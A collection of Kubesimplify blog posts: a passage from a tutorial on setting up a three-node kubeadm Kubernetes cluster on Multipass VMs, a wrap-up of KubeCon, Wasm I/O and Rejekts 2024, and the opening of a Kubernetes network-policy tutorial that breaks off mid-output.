Original IP of the instance: 192.168.73.7  
Static IP of the instance: 192.168.73.101  
IP of the host laptop: 192.168.0.2

All the commands below should return a successful output:

```plaintext
# Ping from local to the original IP address of kubemaster
ping 192.168.73.7

# Ping from local to the static IP address of kubemaster
ping 192.168.73.101

# Ping from kubemaster to local
multipass exec -n kubemaster -- ping 192.168.0.2
```

### Provisioning the first worker node (`kubeworker01`)

<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">The MAC address and static IP address chosen must be different from the ones allocated to the <code>kubemaster</code> instance.</div>
</div>

**Launch the**`kubeworker01` instance with a manual network

```plaintext
multipass launch --disk 10G --memory 3G --cpus 2 --name kubeworker01 --network name=en0,mode=manual,mac="52:54:00:4b:ba:dc" jammy
```

**Configure the extra interface, similar to the steps performed for**`kubemaster`

```yaml
multipass exec -n kubeworker01 -- sudo bash -c 'cat << EOF > /etc/netplan/10-custom.yaml
network:
  version: 2
  ethernets:
    extra0:
      dhcp4: no
      match:
        macaddress: "52:54:00:4b:ba:dc"
      addresses: [192.168.73.102/24]
EOF'
```

**Apply the new configuration**

```console
multipass exec -n kubeworker01 -- sudo netplan apply
```

Test using `ping` similar to the steps followed for `kubemaster`.  
Additionally, test that `ping` from `kubemaster` to `kubeworker01` and vice versa is working.

```plaintext
# Ping from local to the original IP address of kubeworker01
ping 192.168.73.8

# Ping from local to the static IP address of kubeworker01
ping 192.168.73.102

# Ping from kubeworker01 to local
multipass exec -n kubeworker01 -- ping 192.168.0.2

# Ping from kubeworker01 to kubemaster
multipass exec -n kubeworker01 -- ping 192.168.73.101

# Ping from kubemaster to kubeworker01
multipass exec -n kubemaster -- ping 192.168.73.102
```

### Provisioning the second worker node (`kubeworker02`)

<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">The MAC address and static IP address chosen must be different from the ones allocated to the <code>kubemaster</code> and <code>kubeworker01</code> instances.</div>
</div>

**Launch the**`kubeworker02` instance with a manual network

```plaintext
multipass launch --disk 10G --memory 3G --cpus 2 --name kubeworker02 --network name=en0,mode=manual,mac="52:54:00:4b:cd:ab" jammy
```

**Configure the extra interface, similar to the steps performed for**`kubemaster`

```yaml
multipass exec -n kubeworker02 -- sudo bash -c 'cat << EOF > /etc/netplan/10-custom.yaml
network:
  version: 2
  ethernets:
    extra0:
      dhcp4: no
      match:
        macaddress: "52:54:00:4b:cd:ab"
      addresses: [192.168.73.103/24]
EOF'
```

**Apply the new configuration**

```console
multipass exec -n kubeworker02 -- sudo netplan apply
```

Test using `ping` similar to the steps followed for `kubemaster`.

Additionally, test that all 3 VMs are able to ping each other successfully through their static IPs.

```plaintext
# Ping from local to the original IP address of kubeworker02
ping 192.168.73.9

# Ping from local to the static IP address of kubeworker02
ping 192.168.73.103

# Ping from kubeworker02 to local
multipass exec -n kubeworker02 -- ping 192.168.0.2

# Ping from kubeworker02 to kubemaster
multipass exec -n kubeworker02 -- ping 192.168.73.101

# Ping from kubeworker02 to kubeworker01
multipass exec -n kubeworker02 -- ping 192.168.73.102

# Ping from kubemaster to kubeworker02
multipass exec -n kubemaster -- ping 192.168.73.103

# Ping from kubeworker01 to kubeworker02
multipass exec -n kubeworker01 -- ping 192.168.73.103
```

### Configure the local DNS

**SSH into the machines through three separate terminal tabs by using the**`multipass shell` command

```plaintext
multipass shell kubemaster
multipass shell kubeworker01
multipass shell kubeworker02
```

**Edit the**`/etc/hosts` file for all 3 VMs

Enter the following configuration in the `/etc/hosts` file of each VM:

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">Use the static IP addresses chosen for each VM instance.</div>
</div>

```shell
sudo vi /etc/hosts
```

```plaintext
#<static IP> <hostname>
192.168.73.101 kubemaster
192.168.73.102 kubeworker01
192.168.73.103 kubeworker02
```

## Install Kubernetes

Now that we have a perfect set of VMs up and running, it is time to proceed toward the Kubernetes installation.

### Versions

The below versions are used in this lab.

| Software / Package | Version | Location |
| --- | --- | --- |
| `containerd` | 1.7.14 | [releases](https://github.com/containerd/containerd/releases) |
| `runc` | 1.1.12 | [releases](https://github.com/opencontainers/runc/releases) |
| CNI plugin | 1.4.1 | [releases](https://github.com/containernetworking/plugins/releases) |
| kubeadm | 1.29.3 | apt-get |
| kubelet | 1.29.3 | apt-get |
| kubectl | 1.29.3 | apt-get |

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">All commands mentioned below need to be executed from within the terminal of the VMs.</div>
</div>

### Install and configure prerequisites

#### Forwarding IPv4 and letting iptables see bridged traffic

**Execute the below set of commands on**`kubemaster`, `kubeworker01` and `kubeworker02`

```plaintext
cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# sysctl params required by setup, params persist across reboots
cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

# Verify that the br_netfilter, overlay modules are loaded by running the following commands:
lsmod | grep br_netfilter
lsmod | grep overlay

#Verify that the net.bridge.bridge-nf-call-iptables, net.bridge.bridge-nf-call-ip6tables, and net.ipv4.ip_forward system variables are set to 1 in your sysctl config by running the following command:
sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward
```

Verify that the `net.bridge.bridge-nf-call-iptables`, `net.bridge.bridge-nf-call-ip6tables`, and `net.ipv4.ip_forward` system variables are set to 1 in your sysctl config.

```plaintext
net.bridge.bridge-nf-call-iptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward = 1
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">For all the packages to be installed in this tutorial, ensure to use the <strong>arm64</strong> variant only.</div>
</div>

### Install a Container Runtime

You need to install a container runtime into each node in the cluster so that Pods can run there.

#### Step 1: Install `containerd`

**Execute the below commands on all 3 nodes**

```plaintext
curl -LO https://github.com/containerd/containerd/releases/download/v1.7.14/containerd-1.7.14-linux-arm64.tar.gz

sudo tar Cxzvf /usr/local containerd-1.7.14-linux-arm64.tar.gz

curl -LO https://raw.githubusercontent.com/containerd/containerd/main/containerd.service

sudo mkdir -p /usr/local/lib/systemd/system/
sudo mv containerd.service /usr/local/lib/systemd/system/

sudo mkdir -p /etc/containerd/
sudo containerd config default | sudo tee /etc/containerd/config.toml > /dev/null

sudo sed -i 's/SystemdCgroup \= false/SystemdCgroup \= true/g' /etc/containerd/config.toml

sudo systemctl daemon-reload
sudo systemctl enable --now containerd

#Check that containerd service is up and running
systemctl status containerd
```

Verify that the output shows the `containerd` service up and running:

```plaintext
● containerd.service - containerd container runtime
     Loaded: loaded (/usr/local/lib/systemd/system/containerd.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2024-03-26 11:15:20 IST; 5ms ago
```

#### Step 2: Install `runc`

**Execute the below commands on all 3 nodes**

```plaintext
curl -LO https://github.com/opencontainers/runc/releases/download/v1.1.12/runc.arm64

sudo install -m 755 runc.arm64 /usr/local/sbin/runc
```

#### Step 3: Install CNI plugins

**Execute the below commands on all 3 nodes**

```plaintext
curl -LO https://github.com/containernetworking/plugins/releases/download/v1.4.1/cni-plugins-linux-arm64-v1.4.1.tgz
sudo mkdir -p /opt/cni/bin
sudo tar Cxzvf /opt/cni/bin cni-plugins-linux-arm64-v1.4.1.tgz
```

### Install kubeadm, kubelet and kubectl

**Execute the below commands on all 3 nodes**

```plaintext
sudo apt-get update
sudo apt-get install -y apt-transport-https ca-certificates curl gpg
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.29/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.29/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl
```

Verify the installation using the below commands:

```shell
kubeadm version
```

```plaintext
kubeadm version: &version.Info{Major:"1", Minor:"29", GitVersion:"v1.29.3", GitCommit:"6813625b7cd706db5bc7388921be03071e1a492d", GitTreeState:"clean", BuildDate:"2024-03-15T00:06:16Z", GoVersion:"go1.21.8", Compiler:"gc", Platform:"linux/arm64"}
```

```shell
kubelet --version
```

```plaintext
Kubernetes v1.29.3
```

```shell
kubectl version --client
```

```plaintext
Client Version: v1.29.3
Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3
```

### Configure `crictl` to work with `containerd`

**Execute the below commands on all 3 nodes**

```plaintext
sudo crictl config runtime-endpoint unix:///var/run/containerd/containerd.sock
```

### Initializing the controlplane node

<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">Commands for initializing the controlplane node should be executed on <code>kubemaster</code> only.</div>
</div>

**Execute the below command on**`kubemaster`

<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text"><code>apiserver-advertise-address</code> must be the exact value of the static IP allocated to <code>kubemaster</code>.</div>
</div>

```plaintext
sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.73.101
```

If the command runs successfully, you should see the message **'Your Kubernetes control-plane has initialized successfully!'**

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Save the entire <strong>kubeadm join</strong> command, which is printed on the output. This will be used when the worker nodes are ready to be connected to the cluster.</div>
</div>

To make `kubectl` work for your non-root user, execute the below command on `kubemaster`:

```console
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
```

Verify that you are able to reach the cluster through `kubectl`:

**Execute the below command on**`kubemaster`

```plaintext
kubectl -n kube-system get pods
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">🗒</div>
<div data-node-type="callout-text">The <code>coredns</code> pods will not be Ready at this stage. This is as expected, as we have not deployed the Pod network add-on yet.</div>
</div>

```plaintext
NAME                                 READY   STATUS    RESTARTS      AGE
coredns-76f75df574-269qf             1/1     Pending                
coredns-76f75df574-6mcvd             1/1     Pending                
etcd-kubemaster                      1/1     Running   0             1m1s
kube-apiserver-kubemaster            1/1     Running   0             1m1s
kube-controller-manager-kubemaster   1/1     Running   0             1m1s
kube-proxy-7qfgq                     1/1     Running   0             1m1s
kube-scheduler-kubemaster            1/1     Running   0             1m1s
```

### Install a Pod network add-on

You must deploy a Container Network Interface (CNI) based Pod network add-on so that your Pods can communicate with each other. Cluster DNS (CoreDNS) will not start up before a network is installed.

A list of all compatible Pod network add-ons can be found [here](https://kubernetes.io/docs/concepts/cluster-administration/addons/#networking-and-network-policy).

In this lab, we will use [Weave Net](https://github.com/rajch/weave#using-weave-on-kubernetes)

**Execute the below command on**`kubemaster`

```plaintext
kubectl apply -f https://reweave.azurewebsites.net/k8s/v1.28/net.yaml
```

It will take up to a minute for the weave pod to be ready.

<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">At this point, the controlplane node should be ready with all pods in the <code>kube-system</code> namespace up and running. Please validate this to confirm the sanity of the controlplane.</div>
</div>

```shell
kubectl -n kube-system get pods
```

```plaintext
NAME                                 READY   STATUS    RESTARTS      AGE
coredns-76f75df574-269qf             1/1     Running   0             3m16s
coredns-76f75df574-6mcvd             1/1     Running   0             3m16s
etcd-kubemaster                      1/1     Running   0             3m32s
kube-apiserver-kubemaster            1/1     Running   0             3m32s
kube-controller-manager-kubemaster   1/1     Running   0             3m32s
kube-proxy-7qfgq                     1/1     Running   0             3m16s
kube-scheduler-kubemaster            1/1     Running   0             3m33s
weave-net-mvld4                      2/2     Running   1 (23s ago)   40s
```

### Join the worker nodes to the cluster

Connect to each worker node and run the entire `kubeadm join` command that was copied earlier from the output of the `kubeadm init` command.

**Sample command to be executed on**`kubeworker01` and `kubeworker02`

```plaintext
sudo kubeadm join 192.168.73.101:6443 --token tn082a..... \
--discovery-token-ca-cert-hash sha256:c1b0143a.....
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">If you missed making a note of the kubeadm join command earlier, you can generate a new token by using the below command on the controlplane and use it instead.</div>
</div>

```console
kubeadm token create --print-join-command
```

After a few seconds, check that all nodes have joined the cluster and are in a Ready state.

**Execute the below command on**`kubemaster`

```console
kubectl get nodes
```

### Validation

Validate that the Kubernetes setup is working correctly by deploying a nginx pod on the cluster.

**Execute the below command on**`kubemaster`

```shell
kubectl run test-nginx --image=nginx
```

```shell
kubectl get pod test-nginx
```

```plaintext
NAME         READY   STATUS    RESTARTS   AGE
test-nginx   1/1     Running   0          47s
```

Once the pod is in a Ready state, then it's time to say **Congratulations!** You've just built a fully functioning 3 node Kubernetes cluster on a M series MacBook.

## Backup and Restore

`Multipass` offers an easy and effective way to take a backup of the controlplane and worker nodes. Using this backup, a corrupt Kubernetes cluster can be restored to a previous working state.

### Backup

In order to perform a backup, use the snapshot feature offered by `multipass`.

**Execute the below commands on a local terminal**

**Stop the VMs**

```shell
multipass stop kubeworker02
multipass stop kubeworker01
multipass stop kubemaster
```

**Verify that the VMs are stopped**

```shell
multipass list
```

```plaintext
Name                    State             IPv4             Image
kubemaster              Stopped           --               Ubuntu 22.04 LTS
kubeworker01            Stopped           --               Ubuntu 22.04 LTS
kubeworker02            Stopped           --               Ubuntu 22.04 LTS
```

**Capture a snapshot**

```shell
multipass snapshot kubemaster
multipass snapshot kubeworker01
multipass snapshot kubeworker02
```

**Verify that the snapshots are present**

```shell
multipass list --snapshots
```

```console
Instance       Snapshot    Parent   Comment
kubemaster     snapshot1   --       --
kubeworker01   snapshot1   --       --
kubeworker02   snapshot1   --       --
```

### Restore

In order to restore from a backup, use the `restore` command

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Substitute <code>x</code> with the number of the snapshot.</div>
</div>

```shell
multipass restore kubemaster.snapshotx
multipass restore kubeworker01.snapshotx
multipass restore kubeworker02.snapshotx
```

## Cleanup

In order to clean up the cluster, delete the `multipass` VMs using the below commands:

The `delete` command performs a soft deletion of the VMs. In other words, it moved the VMs to the recycle bin.

```shell
multipass delete kubeworker02
multipass delete kubeworker01
multipass delete kubemaster
```

Verify the deletion using the following command:

```shell
multipass list
```

```plaintext
Name                    State             IPv4             Image
kubemaster              Deleted           --               Ubuntu 22.04 LTS
kubeworker01            Deleted           --               Ubuntu 22.04 LTS
kubeworker02            Deleted           --               Ubuntu 22.04 LTS
```

In order to recover the deleted clusters, use the `recover` command:

```shell
multipass recover kubemaster
multipass recover kubeworker01
multipass recover kubeworker02
```

In order to permanently delete the VMs, the `delete` command should be followed by the `purge` command:

```shell
multipass delete kubeworker02
multipass delete kubeworker01
multipass delete kubemaster
multipass purge
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">⚠</div>
<div data-node-type="callout-text">Purging an instance also deletes all the snapshots associated with this instance. In other words, the VMs cannot be recovered after being purged.</div>
</div>

## Resources

Here are the links to the resources referred in this blog post:

* [Kubeadm](https://kubernetes.io/docs/reference/setup-tools/kubeadm/) - Page describing the `kubeadm` tool in the official Kubernetes documentation.
    
* [Installing Kubernetes via kubeadm](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/) - The official Kubernetes documentation describing the steps involved in installing a cluster through `kubeadm`.
    
* [Multipass overview](https://multipass.run/) - An overview of `multipass` by Canonical, a tool to provision Ubuntu VMs on local machines.
    
* [Multipass installation](https://multipass.run/install) - Steps to install the `multipass` tool.
    
* [Multipass instance management](https://multipass.run/docs/how-to-guides#heading--manage-instances) - Documentation on managing instances created by `multipass`.
    
* [Static IP provisioning](https://multipass.run/docs/configure-static-ips) - Steps to provision a static IP for a VM, which can persist over restarts.
    
* [Multipass snapshot](https://multipass.run/docs/snapshot-command) - Instructions related to capturing a snapshot (backup) of a `multipass` instance.
    
* [Multipass restore](https://multipass.run/docs/restore-command) - Instructions related to restoring an instance from a snapshot.
    
* [Releases for containerd](https://github.com/containerd/containerd/releases) - This page holds all the releases for `containerd`.
    
* [Releases for runc](https://github.com/opencontainers/runc/releases) - This page holds all the releases for `runc`.
    
* [Releases for the CNI plugin](https://github.com/containernetworking/plugins/releases) - This page holds all the releases for the CNI plugin.
    
* [Pod network add-ons](https://kubernetes.io/docs/concepts/cluster-administration/addons/#networking-and-network-policy) - A list of all compatible Pod network add-ons as per the official Kubernetes documentation.
    
* [ReWeave](https://github.com/rajch/weave#using-weave-on-kubernetes) - An actively maintained fork of the Weave Net project.

---

# KubeCon + CloudNativeCon, Rejekts and Wasm I/O Wrap-Up: A Leap into the Future with WebAssembly, AI, and Sustainable Cloud Practices

- Canonical: https://blog.kubesimplify.com/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices
- Published: 2024-03-27
- Summary: Team Kubesimplify was at KubeCon and WasmIO. This blgo highlights the summary of both the events.

# **KubeCon + CloudNativeCon 2024**

**Location:** Paris(19th-22nd March)

The tech world has been buzzing with innovations and insights, as evidenced by the recent Wasm I/O and KubeCon + CloudNativeCon events. These conferences not only showcased groundbreaking technologies but also set the stage for future trends in the industry. Here's a comprehensive wrap-up, highlighting the significant launches, discussions, and developments that have set the tech community abuzz.

The event was dominated by discussions around making Kubernetes more accessible to AI engineers and establishing it as the go-to platform for AI workloads, ensuring seamless operation. The keynote, presented by Priyanka, featured a live demo that illustrated this integration, driving home the point that Kubernetes is evolving to meet the needs of the AI-driven future.

KubeCon also showcased the growing synergy between Kubernetes, AI, and sustainability, offering insights into the latest trends and innovations in the cloud-native ecosystem.

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/a9753026-f6fe-4148-a536-9b255dbc0726.jpeg align="center")

You can see the buzz words in the cloud native ecosystem and where WebAssembly sits in! This is very interesting, [SpinKube](https://www.spinkube.dev/) - a framework to deploy spin apps on Kubernetes easily was launched at WasmIO and then showcased at KubeCon also caught a lot of interest from the cloud native community. Now is your time to learn about WebAssembly from the free course that we have on Kubesimplify(The only complete course on YouTube)

%[https://youtu.be/eYekV2Do0YU?si=HVKHd3iIxMqwU1O6] 

## Kubesimplify team talks at KubeCon:

### **Building a Tool to Debug Minimal Container Images**

**Speakers:** Saiyam Pathak and Kyle Quest Addressing the challenges associated with distroless and slim containers, this session covered the tool called mint for debugging container images across platforms like Docker, Containerd, and Kubernetes, enhancing developers' experience and efficiency.

### **CloudnativeHacks Sustainability Panel Discussion**

**Panelists:** Saiyam Pathak, Leonard Pahlke, Saloni Narang, Kristina D., and Niki Manoledaki  
The discussion delved into sustainable practices within the cloud-native space, featuring insights from the Technical Advisory Group (TAG) on sustainability and offering actionable recommendations for fostering an environmentally friendly cloud-native ecosystem.

### **Heating Pools with Cloud Power: A New Wave in Green Computing**

**Speakers:** Saiyam Pathak and Mark Bjornsgaard  
The theme of sustainability was also prominent, with Civo and Deepgreen illustrating their innovative approach to reusing server heat for community swimming pools, reflecting a growing trend towards green computing. This tlak showcased end to end production usecase of Deep green + Civo + Fermyon.

### **The Kubernetes Hunger Games: Distro Performance in the Edge**

**Speakers:** Saiyam Pathak and Shivay Lamba  
This session provided an in-depth analysis of Kubernetes distributions in edge computing settings, examining the performance and suitability of microk8s, k0s, and k3s through various benchmarks, including fio, kbench, sysbench, and Iperf.

---

**Overall Program Highlights:**

* [**Kubestronaut Program Launch**](https://www.cncf.io/blog/2024/03/22/announcing-the-kubestronaut-program/)**:** An initiative recognizing individuals who have achieved all five of CNCF’s Kubernetes certifications, promoting continued learning and expertise in the Kubernetes ecosystem.
    
* **Cloud-Native AI working group**: Group formed to bring together the AI and cloud native world together to solve bigger challenges together. They also released a [whitepaper](https://www.cncf.io/wp-content/uploads/2024/03/cloud_native_ai24_031424a-2.pdf) that gives a brief overview of the state-of-the-art AI/ML techniques, followed by what CN technologies offer, covering the next challenges and gaps before discussing evolving solutions. The paper will equip engineers and business personnel with the knowledge to understand the changing Cloud Native Artificial Intelligence (CNAI) ecosystem and its opportunities.
    
* KubeCon EU next year is in London and Also KubeCon India happening this year in Delhi.
    
* eBPF took a rise alongside of WebAssembly and AI.
    

**Quotes form team Kubesimplify:**

> **Saiyam** said "KubeCon was amazing and I got to meet a lot of people, made new connections, great questions after all my talks. The AI thing at KubeCon was interesting and I saw a lot of sponsors showcasing the AI capabilities. The AI hub was cool as well. Totally worth it going to the biggest cloud native conference with great conversations"

> **Saloni** said "Going with the baby is always challenging but love how CNCF provides the childcare facilities because of which I was able to go to my panel talk and also connect with people in the hallway track. the project pavilion was great!"

> **Faeka** said "I saw the ebpf trend on hike and all around.📈These are two things I really need to catch hold off as they are moving very quickly. I was the only student from India this time, and i believe we need more exposure to these conferences for students.It was a very happening overall and I learnt more about the solutions so many companies are building on top of Kubernetes."

All the talks are being uploaded on [CNCF YouTube channel](https://www.youtube.com/@cncf) and our sessions will be uploaded soon. One of them is already there.

Here is the curated list of recommended talks by team KubeSimplify

%[https://youtube.com/playlist?list=PL5uLNcv9SibDMdNvINsQYRTl0GNXMbHVX&si=jjwplR91zXCVZs86] 

# **Wasm I/O 2024 Wrap-Up: Harnessing WebAssembly for Future Tech**

**Location:** Barcelona(14th and 15th March)

Wasm I/O 2024 focused on the evolution and application of WebAssembly (WASM) in modern computing, emphasizing machine learning, sustainability, and operational efficiency. This one highlighted more of production applications and component model. During the conference, SpinKube was launched that aims to simplify deployment of spin apps on Kubernetes.  
Wasm I/O also highlighted the potential of WebAssembly in enhancing AI applications and how it contributes to sustainable software with its key features of startup times, low footprint.

Google also talked how they are using Wasm in Production as all levels and then very interestingly how WASM is used at edge.

**Wasm I/O talks by team KubeSimplify:**

### **Accelerating ML Inferencing with WebAssembly & Spin 2.0**

**Speakers:** Saiyam Pathak and Radu Matei  
This session explored the integration of AI with WebAssembly, providing an introduction to AI concepts, machine learning types (supervised and unsupervised), and the steps to develop an AI inference application. The use of SpinKube for local deployment and connection to remote GPUs, as well as deployment strategies on Kubernetes, were detailed, showcasing the scalability and efficiency of WASM in AI contexts.

### **Create Production-Grade Wasm Applications on Kubernetes**

**Speakers:** Saiyam Pathak and Sven Pfennig Focusing on practical applications, This workshop started with basic introduction to Kubernetes and WebAssembly, then deploying a customised WASm version of potatohead application on Kubernetes. Enabling logging, metrics and doing some fancy chaos experiments with the application deployed.

### **Sustainability with WASM? - Faster, Greener Computing**

**Panelists:** Saloni Narang, Saiyam Pathak, Danielle Lancashire, Shivay Lamba, and Rishit Dagli This panel discussion centered around the environmental impact of computing and how WASM contributes to sustainability. The conversation covered the software-hardware intersection, programming languages' effects on energy consumption, and how WASM aids in reducing this footprint, promoting a sustainable development model in the tech industry.

# **Cloud native Rejekts - Human sized conference**

Paris(17th-18th March)

Cloud Native Rejekts EU 2024 conference unfolded as a beacon for technologists, from seasoned experts to novices eager to dive into the cloud-native ecosystem. This year's edition was held at a dope location that was a game centre and the talks ranged from community wellbeing to the depth of cutting-edge technologies. Kubesimplify was again proud to be the **community SPONSOR** for this event.

The conference demystified eBPF, offering a beginner-friendly introduction and its usage in different projects. Security discussions were equally robust, touching upon pivotal aspects of Kubernetes, containers, and the emerging Gateway API, alongside the vital role of OpenTelemetry in enhancing observability across cloud-native applications.

The talks recording will be out soon on [their YouTube channel](https://www.youtube.com/@CloudNativeRejekts), all the talks were amazing but to cover the spectrum do watch these top three:

1)Kubernetes: container images and OCI Registry, resilience and security  
2)eBPF: understanding for beginners, frameworks and observability solutions  
3)Community: growth and initiatives, human aspects such as burnout and empathy

The knowledge shared at Cloud Native Rejekts EU 2024 promises to inspire and educate, fostering growth and innovation within the cloud-native landscape.

---

By breaking down the content from Wasm I/O and KubeCon + CloudNativeCon 2024, we can appreciate the profound advancements and discussions shaping the future of WebAssembly, AI, Kubernetes, and sustainable computing. These events have not only highlighted current technological capabilities but also charted the path for future innovations and practices in the tech industry.

Some pictures from both the events:

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/f83810ba-58a0-4bfa-873f-c6670e9aea2e.jpeg align="center")

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/2963394e-bf9c-4d6b-a0ad-fbce4cd8c4ff.png align="center")

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/9deecc38-6159-4978-9de3-9ef8b898e99d.jpeg align="center")

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/4dafe734-c7e3-4265-99d7-0f763a1d5990.jpeg align="center")

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/5d13866b-7b57-4d52-b3c4-2aa339355c28.jpeg align="center")

![](/img/blog/kubecon-cloudnativecon-rejekts-and-wasm-io-wrap-up-a-leap-into-the-future-with-webassembly-ai-and-sustainable-cloud-practices/7a1a64bb-2b02-4a6f-9d52-22201a9d05cc.jpeg align="center")

As always it was great meeting everyone in person, feel free to connect with us if you were not able to meet in person as we would be happy to chat.

### **For organisations looking to partner with Kubesimplify,**[**DM**](https://twitter.com/kubesimplify)**us.**

---

# Why are network policies in Kubernetes so hard to understand?

- Canonical: https://blog.kubesimplify.com/why-are-network-policies-in-kubernetes-so-hard-to-understand
- Published: 2024-03-23
- Summary: This article explain in depth what network policies are with help of hands on examples to make the concepts clear. 

In Kubernetes, the concept of network policies allows you to control the traffic flow within a cluster. Essentially, by creating policies, you determine which pods can access others, streamlining the process of restricting traffic between different applications within the cluster.

You will also run into many microservices in different namespaces within a Kubernetes environment. These applications are run as pods, which in turn run containers. These containers are your applications and are capable of communicating with every other pod, either directly or through services. However, this open communication model isn't always secure. Fortunately, Kubernetes offers the concept of network policy, implemented by various network providers, to provide out-of-the-box functionality for controlling this aspect securely.

The community often voices that network policies are complex, but by exploring concrete examples, we can gain a clearer understanding of how they work in action.

![Civo Network Policy Diagram](https://civo-com-assets.ams3.digitaloceanspaces.com/content_images/2666.blog.png?1710250484 align="left")

## **Prerequisites**

To follow along with this tutorial, you need to ensure you have the following in place:

* [A Civo Account](https://www.civo.com/docs/account/signing-up)
    
* [A Kubernetes cluster](https://www.civo.com/docs/kubernetes/create-a-cluster)
    
* [Kubectl installed](https://kubernetes.io/docs/tasks/tools/)
    
* [Civo CLI installed](https://www.civo.com/docs/overview/civo-cli)
    

## **Creating a Kubernetes cluster with Cilium**

To begin with, let’s create a Civo Kubernetes cluster with Cilium as the CNI. You can create the cluster from the [UI](https://www.civo.com/docs/kubernetes/create-a-cluster#creating-a-cluster-on-the-dashboard) or the [CLI](https://www.civo.com/docs/kubernetes/create-a-cluster#creating-a-cluster-using-civo-cli).

<mark>⚠️ For the purpose of this tutorial, we will be using Civo Kubernetes, but you can go with any Kubernetes cluster and CNI where network policies will work.</mark>

### **Interacting with the cluster**

Once you have the cluster created, you can export the `KUBECONFIG` variable in your terminal and point it to the downloaded kubeconfig file for the cluster. From here, you should be able to interact with the cluster:

```bash
kubectl get nodes
NAME                                                   STATUS   ROLES    AGE   VERSION
k3s-networkpolicies-7aed-fb151a-node-pool-71b0-krmn8   Ready    <none>   71s   v1.28.2+k3s1
k3s-networkpolicies-7aed-fb151a-node-pool-71b0-jl4q3   Ready    <none>   69s   v1.28.2+k3s1
k3s-networkpolicies-7aed-fb151a-node-pool-71b0-6ko85   Ready    <none>   67s   v1.28.2+k3s1
```

Create 2 namespaces dev1 and dev2:

```bash
kubectl create ns dev1
namespace/dev1 created
kubectl create ns dev2
namespace/dev2 created
```

Create a pod demo1 and pod demo2 in respective namespaces with NGINX image:

```bash
kubectl run demo1 --image=nginx -n dev1
pod/demo1 created
kubectl run demo2 --image=nginx -n dev2
pod/demo2 created

kubectl get pods -owide -n dev1
NAME    READY   STATUS    RESTARTS   AGE   IP           NODE                                                   NOMINATED NODE   READINESS GATES
demo1   1/1     Running   0          97s   10.0.1.147   k3s-networkpolicies-7aed-fb151a-node-pool-71b0-6ko85   <none>           <none>

kubectl get pods -owide -n dev2
NAME    READY   STATUS    RESTARTS   AGE   IP           NODE                                                   NOMINATED NODE   READINESS GATES
demo2   1/1     Running   0          94s   10.0.1.185   k3s-networkpolicies-7aed-fb151a-node-pool-71b0-6ko85   <none>           <none>
```

### **Testing the connectivity**

Let’s now test the connectivity of one pod from another:

```bash
kubectl exec demo1 -n dev1 -- curl 10.0.1.185

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
